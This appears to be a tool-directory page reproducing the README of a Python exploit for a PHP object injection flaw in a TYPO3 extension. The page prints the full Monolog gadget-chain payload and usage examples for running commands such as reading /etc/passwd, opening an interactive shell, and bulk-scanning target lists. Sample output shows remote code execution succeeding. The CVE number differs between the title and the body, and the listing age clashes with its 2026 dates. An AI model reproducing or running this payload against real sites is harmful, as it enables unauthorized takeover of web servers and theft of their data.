Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46275 — Python exploit for CVE-2026-46725, achieving unauthenticated remote code execution in TYPO3 ceselector extension via PHP object injection and Monolog gadget chain. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-46275
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubxxconi/cve-2026-46275

CVE-2026-46275

Python exploit for CVE-2026-46725, achieving unauthenticated remote code execution in TYPO3 ceselector extension via PHP object injection and Monolog gadget chain.

View Repository
43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-46725 — TYPO3 ceselector Extension RCE

PHP Object Injection via unserialize() Cookie Bypass → Remote Code Execution

CVSS CWE Auth Python License


📋 Table of Contents

  • About the Vulnerability
  • Technical Details
  • Requirements
  • Installation
  • Usage
  • Examples
  • Output Format
  • How It Works
  • References
  • Legal Disclaimer

  • 🔍 About the Vulnerability

    FieldDetail
    CVE IDCVE-2026-46725
    ProductTYPO3 ceselector Extension (mmc/ceselector)
    Affected Version<= 1.1.3
    Vulnerability TypeInsecure Deserialization (PHP Object Injection)
    CVSS Score9.8 Critical
    CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-502 (Deserialization of Untrusted Data)
    EPSS Score0.0046 (%64.3 percentile)
    AuthenticationNot required (Unauthenticated)
    ImpactFull RCE — Complete system control
    ResearcherDhiyaneshDk

    Description

    The TYPO3 ceselector extension passes the cookie value named T3_ceselector_* directly to the unserialize() function without any validation. An attacker can place a specially crafted PHP Object Injection payload into this cookie to execute arbitrary commands on the server.

    ⚠️ Prerequisite: For the vulnerability to be exploited, the Persistent Mode: Static setting must be enabled in the TYPO3 configuration.


    🔧 Technical Details

    Attack Flow

    root@kitploit:~
    1. GET /  →  Server returns Set-Cookie: T3_ceselector_<id>=<value>
    2. GET /  →  Cookie: T3_ceselector_<id>=<PAYLOAD>
                 └─ PHP unserialize() triggered
                 └─ Monolog Gadget Chain executed
                 └─ system("id") output reflected in response
    

    Gadget Chain

    root@kitploit:~
    Monolog\Handler\GroupHandler
      └─ Monolog\Handler\BufferHandler
           └─ Monolog\LogRecord (buffer)
                └─ processors: [get_object_vars, end, system]
                     └─ system("<CMD>")  ← RCE
    

    Payload Structure

    root@kitploit:~
    O:28:"Monolog\Handler\GroupHandler":1:{
      s:11:"*handlers";a:1:{
        i:0;O:29:"Monolog\Handler\BufferHandler":6:{
          s:10:"*handler";r:3;
          s:13:"*bufferSize";i:1;
          s:14:"*bufferLimit";i:0;
          s:9:"*buffer";a:1:{
            i:0;O:17:"Monolog\LogRecord":2:{
              s:5:"level";E:19:"Monolog\Level:Debug";
              s:5:"mixed";s:2:"id";   ← OS command here
            }
          }
          s:14:"*initialized";b:1;
          s:13:"*processors";a:3:{
            i:0;s:15:"get_object_vars";
            i:1;s:3:"end";
            i:2;s:6:"system";   ← sink
          }
        }
      }
    }
    

    📦 Requirements

    • Python 3.8+
    • requests library
    root@kitploit:~
    Python >= 3.8
    requests >= 2.28.0
    

    ⚙️ Installation

    root@kitploit:~
    # Clone the repo
    git clone https://github.com/example/CVE-2026-46725
    cd CVE-2026-46725
    
    # Install dependencies
    pip install requests
    
    # Or with requirements.txt
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests>=2.28.0
    urllib3>=1.26.0
    

    🚀 Usage

    root@kitploit:~
    usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                          [-t N] [--timeout S] [--proxy URL]
                          [-o FILE] [-v] [--no-color]
    
    options:
    Target:
      -u, --url URL       Single target URL
      -l, --list FILE     Target list (URL per line)
    
    Exploit:
      -c, --cmd CMD       OS command to execute (default: id)
      -i, --interactive   Open interactive shell after successful exploit
    
    Scanning:
      -t, --threads N     Number of threads (default: 10)
      --timeout S         Timeout in seconds (default: 15)
      --proxy URL         Proxy (e.g., http://127.0.0.1:8080)
    
    Output:
      -o, --output FILE   Output file
      -v, --verbose       Verbose output
      --no-color          Disable colored output
    

    📌 Examples

    Single Target — Basic Usage

    root@kitploit:~
    python CVE-2026-46725.py -u https://typo3-site.com
    

    Execute Custom Command

    root@kitploit:~
    python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
    python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
    python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
    

    Interactive Shell

    root@kitploit:~
    python CVE-2026-46725.py -u https://typo3-site.com --interactive
    
    root@kitploit:~
    typo3@ceselector $ id
    │ uid=33(www-data) gid=33(www-data) groups=33(www-data)
    typo3@ceselector $ uname -a
    │ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
    typo3@ceselector $ pwd
    │ /var/www/html
    typo3@ceselector $ exit
    

    Bulk Scanning

    root@kitploit:~
    # Scan with 20 threads, save results
    python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
    
    # 30 threads, custom command
    python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
    

    With Proxy (Burp Suite)

    root@kitploit:~
    python CVE-2026-46725.py -u https://typo3-site.com \
      --proxy http://127.0.0.1:8080 -v
    

    targets.txt Format

    root@kitploit:~
    https://site1.com
    https://site2.com
    http://site3.com
    site4.com
    

    📊 Output Format

    Terminal Output

    root@kitploit:~
    ① TYPO3 & ceselector Detection
    ────────────────────────────────────────────────────
    · TYPO3             ✓ Detected
    · ceselector        ✓ Active
    · Cookie Name        T3_ceselector_48291
    · TYPO3 Version       12.4.3
    
    ② Payload Preparation
    ────────────────────────────────────────────────────
    · Technique            PHP Object Injection → Monolog Gadget Chain
    · Gadget            Monolog\Handler\GroupHandler
    · Sink              system()
    · Command             id
    
    ④ RCE Output
    ────────────────────────────────────────────────────
    ┌─ RCE OUTPUT ───────────────────────────────────
    │ uid=33(www-data) gid=33(www-data) groups=33(www-data)
    └─────────────────────────────────────────────────
    

    Log File (results.txt)

    root@kitploit:~
    ============================================================
    CVE-2026-46725 — TYPO3 ceselector RCE
    Date: 2026-05-26 17:30:00
    ============================================================
    
    [+] RCE OBTAINED TARGETS (2)
    ----------------------------------------
    URL        : https://typo3-site.com
    Version      : 12.4.3
    Cookie     : T3_ceselector_48291
    Command      : id
    Output      : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    🔬 How It Works

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────┐
    │                    EXPLOIT FLOW                         │
    ├─────────────────────────────────────────────────────────┤
    │                                                         │
    │  1. DETECTION                                           │
    │     GET /  ──────────────────────► TYPO3 Server        │
    │             ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
    │                                                         │
    │  2. PAYLOAD PREPARATION                                 │
    │     build_payload("id")                                 │
    │     └─ Monolog gadget chain URL-encoded                 │
    │                                                         │
    │  3. EXPLOIT                                             │
    │     GET /                                               │
    │     Cookie: T3_ceselector_XXXXX=O:28:"Monolog...        │
    │             ──────────────────────► unserialize()       │
    │                                    └─ __destruct()      │
    │                                    └─ system("id")      │
    │             ◄──── uid=33(www-data) gid=33(www-data) ─── │
    │                                                         │
    │  4. VERIFICATION                                        │
    │     regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=...      │
    │                                                         │
    └─────────────────────────────────────────────────────────┘
    

    📚 References

    • TYPO3 Security Advisory TYPO3-EXT-SA-2026-001
    • Packagist — mmc/ceselector
    • CWE-502: Deserialization of Untrusted Data
    • CVSS 3.1 Calculator

    ⚖️ Legal Disclaimer

    This tool is developed solely for educational purposes and authorized security testing.

    • Use only on your own systems or systems for which you have written permission.
    • Using it against unauthorized systems is illegal and may have legal consequences.
    • The developer cannot be held responsible for any misuse of this tool.

    CVE-2026-46725 | TYPO3 ceselector RCE | Python Exploit

    Download Tool